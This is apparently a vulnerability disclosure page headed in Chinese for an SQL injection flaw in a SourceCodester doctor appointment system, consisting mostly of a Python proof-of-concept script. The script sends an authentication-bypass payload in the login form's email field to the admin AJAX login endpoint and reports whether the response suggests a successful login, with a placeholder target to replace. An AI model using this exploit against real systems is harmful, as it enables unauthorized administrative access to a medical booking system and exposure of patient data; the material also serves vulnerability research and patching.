CVE-2026-5180: SourceCodester医生预约系统SQL注入漏洞

# PoC for CVE-2026-5180 import requests def check_sql_injection(url): target_url = f"{url}/admin/ajax.php?action=login2" # Payload for authentication bypass or error based injection payload = "admin' OR '1'='1'-- -" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "email": payload, "password": "random_password" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200 and ("success" in response.text.lower() or "dashboard" in response.text.lower()): print(f"[+] Potential SQL Injection found at {target_url}") print(f"[+] Response: {response.text[:200]}") else: print("[-] Exploit attempt did not yield expected results, further manual testing required.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_sql_injection(target)